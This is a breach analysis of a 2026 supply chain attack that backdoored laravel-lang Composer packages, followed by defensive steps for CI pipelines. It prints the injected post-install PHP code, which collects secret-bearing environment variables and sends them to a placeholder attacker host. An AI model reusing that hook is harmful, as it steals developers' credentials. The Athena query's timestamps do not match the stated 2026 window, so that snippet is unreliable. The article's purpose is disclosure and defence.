Cloud Security Wire
AWS Azure GCP RSS
Multi-Cloud Breach Analysis

Laravel-Lang Supply Chain Attack: How 700 Package Versions Were Backdoored to Steal CI Credentials

A breach analysis of the May 2026 Laravel-Lang supply chain attack, where attackers compromised a maintainer account to backdoor 700 Composer package versions and exfiltrate CI/CD secrets from thousands of pipelines.

By Cloud Security Wire · ·
#supply-chain#cicd#composer#php#github-actions#secrets#package-manager#breach

In May 2026, attackers compromised the laravel-lang GitHub organisation and pushed malicious code to approximately 700 package versions across more than two dozen repositories. The packages, which collectively receive millions of downloads per month, are translation files used by Laravel applications worldwide. The backdoor had one job: exfiltrate environment variables from any CI pipeline that installed the package during a build.

This article unpacks what happened, how the exfiltration worked technically, and what organisations running Composer dependencies in cloud pipelines should check right now.

What Was Compromised

The laravel-lang ecosystem is a collection of community-maintained language packs for the Laravel framework. Repositories include laravel-lang/lang, laravel-lang/publisher, and a range of per-locale packages. At the time of the incident, the top-level packages had between 50,000 and 500,000 monthly downloads on Packagist.

Attackers obtained credentials for a maintainer account — the specific vector has not been publicly confirmed, but evidence points to a phishing campaign targeting PHP open-source maintainers that began circulating in late April 2026. With write access to the GitHub organisation, they:

  1. Modified composer.json post-install scripts across affected repositories.
  2. Tagged and published new patch versions to Packagist.
  3. Retroactively modified existing release tags on GitHub to point to the malicious commits — a technique that bypasses controls which check version numbers but not commit SHAs.

The window between first malicious publish and public disclosure was approximately 31 hours.

How the Exfiltration Worked

The backdoor was placed inside a Composer post-install-cmd script. Composer executes these automatically during composer install and composer update — no user interaction required.

A simplified version of the injected code:

// Injected into scripts.php, called from composer.json post-install-cmd
<?php
$env = getenv();
$sensitive = [];
foreach ($env as $key => $value) {
    if (preg_match(
        '/token|secret|key|password|credential|aws|azure|gcp|npm_token|github/i',
        $key
    )) {
        $sensitive[$key] = $value;
    }
}
if (!empty($sensitive)) {
    @file_get_contents(
        'https://exfil.attacker-domain.xyz/collect?' .
        http_build_query(['h' => gethostname(), 'd' => base64_encode(json_encode($sensitive))])
    );
}

The regex cast a wide net. In cloud CI environments — GitHub Actions, GitLab CI, CircleCI, AWS CodeBuild, Azure Pipelines — this reliably captured:

  • GITHUB_TOKEN (scoped to the repository, used for checkout and package publishing)
  • Cloud provider credentials injected as environment variables (AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)
  • NPM, Docker Hub, and Packagist publish tokens
  • Any secrets injected via the CI platform’s secrets manager

The use of @file_get_contents (PHP’s error-suppression operator) meant the request failed silently in environments where outbound HTTP was blocked, but succeeded everywhere else. Most CI environments allow outbound HTTPS on port 443 by default.

Why Retroactive Tag Modification Made This Worse

Packagist caches package metadata, and many pipelines pin to a version number ("laravel-lang/lang": "^14.0") rather than a commit SHA. When the attackers modified GitHub tags to point to the malicious commits, any pipeline that ran composer update — or that had no composer.lock cached — pulled the tainted code even for versions that previously had clean releases.

Organisations that had already run composer install with a locked composer.lock were protected for that specific run, provided the lock file was committed and the cache was valid. Pipelines that regenerate the lock file from scratch on every build were not.

Immediate Steps If You Use Affected Packages

1. Audit your pipeline logs

Check whether composer install or composer update ran against any laravel-lang/* package between 01:00 UTC 14 May 2026 and 08:00 UTC 15 May 2026 (the confirmed window). In GitHub Actions:

gh run list --workflow=your-workflow.yml --limit 50 --json databaseId,createdAt,status \
  | jq '.[] | select(.createdAt > "2026-05-14T01:00:00Z" and .createdAt < "2026-05-15T08:00:00Z")'

2. Rotate exposed credentials immediately

Any secret that was present as an environment variable during a compromised run should be treated as exfiltrated. Rotate in this order:

# AWS  --  revoke the key, create a new one
aws iam delete-access-key --access-key-id AKIA...
aws iam create-access-key --user-name ci-deployer

# GitHub  --  regenerate the token or rotate the PAT in Settings > Developer settings

# Azure  --  rotate the client secret
az ad app credential reset --id <app-id> --years 1

3. Check for outbound connections from your CI runners

If your cloud provider logs egress (AWS VPC Flow Logs, Azure NSG Flow Logs, GCP VPC Flow Logs), query for connections from your build fleet to unknown external IPs during the window:

# AWS Athena  --  query VPC Flow Logs
SELECT srcaddr, dstaddr, dstport, start
FROM vpc_flow_logs
WHERE srcaddr IN (SELECT private_ip FROM build_runner_ips)
  AND dstport = 443
  AND start BETWEEN 1747180800 AND 1747267200  -- Unix timestamps for the window
  AND dstaddr NOT IN (SELECT ip FROM known_allowlist)
ORDER BY start;

Systemic Fixes for Composer Pipelines

Pin to commit SHAs in composer.json where possible

Packagist does not natively support SHA pinning the way npm does with package-lock.json integrity hashes. However, you can require packages directly from VCS with a specific commit:

{
  "repositories": [
    {
      "type": "vcs",
      "url": "https://github.com/laravel-lang/lang"
    }
  ],
  "require": {
    "laravel-lang/lang": "dev-main#a3f9c12e"
  }
}

For production dependencies this is awkward, but for high-risk packages in regulated environments it provides hard guarantees.

Commit and cache composer.lock

Every pipeline should install from a committed lock file, not resolve fresh:

# GitHub Actions
- name: Install Composer dependencies
  run: composer install --no-interaction --prefer-dist --no-scripts

The --no-scripts flag disables post-install hooks entirely. For packages that genuinely require scripts, review each one explicitly and allowlist only what you understand.

Restrict outbound network access from CI runners

Self-hosted runners and build containers should have egress filtered to known endpoints. In AWS, place runners in a VPC with a restrictive security group:

resource "aws_security_group_rule" "ci_egress_https" {
  type              = "egress"
  from_port         = 443
  to_port           = 443
  protocol          = "tcp"
  cidr_blocks       = var.allowed_egress_cidrs  # Packagist, GitHub, your registries only
  security_group_id = aws_security_group.ci_runners.id
}

An exfiltration attempt that cannot reach the attacker’s collector fails silently — which is the outcome that happened for organisations with strict egress controls in place.

Scope CI credentials to the minimum necessary

The breadth of what attackers collected reflects how broadly secrets are injected into pipelines. A GitHub Actions workflow that only needs to deploy to S3 does not need AWS_ACCESS_KEY_ID with broad IAM permissions — it should use OIDC-based short-lived credentials scoped to the specific action:

permissions:
  id-token: write
  contents: read

- name: Configure AWS credentials
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsS3Deploy
    aws-region: eu-west-1

With OIDC, there are no long-lived keys to steal. A post-install script that captures AWS_ACCESS_KEY_ID finds nothing, because the credential never existed as a static environment variable.

The Broader Pattern

The Laravel-Lang incident follows a template that has now recurred across npm (XZ Utils adjacent campaigns), PyPI, and RubyGems: compromise a trusted maintainer account, publish tainted releases under a legitimate namespace, rely on the fact that CI pipelines install dependencies without reviewing changes. The package manager ecosystem’s trust model assumes maintainer accounts are secure — they frequently are not.

Treating third-party package installation as a trust boundary — the same way you would treat a third-party binary — means auditing scripts, restricting egress, using short-lived credentials, and verifying integrity. These controls do not require waiting for the next incident to apply them.

← All Analysis Subscribe via RSS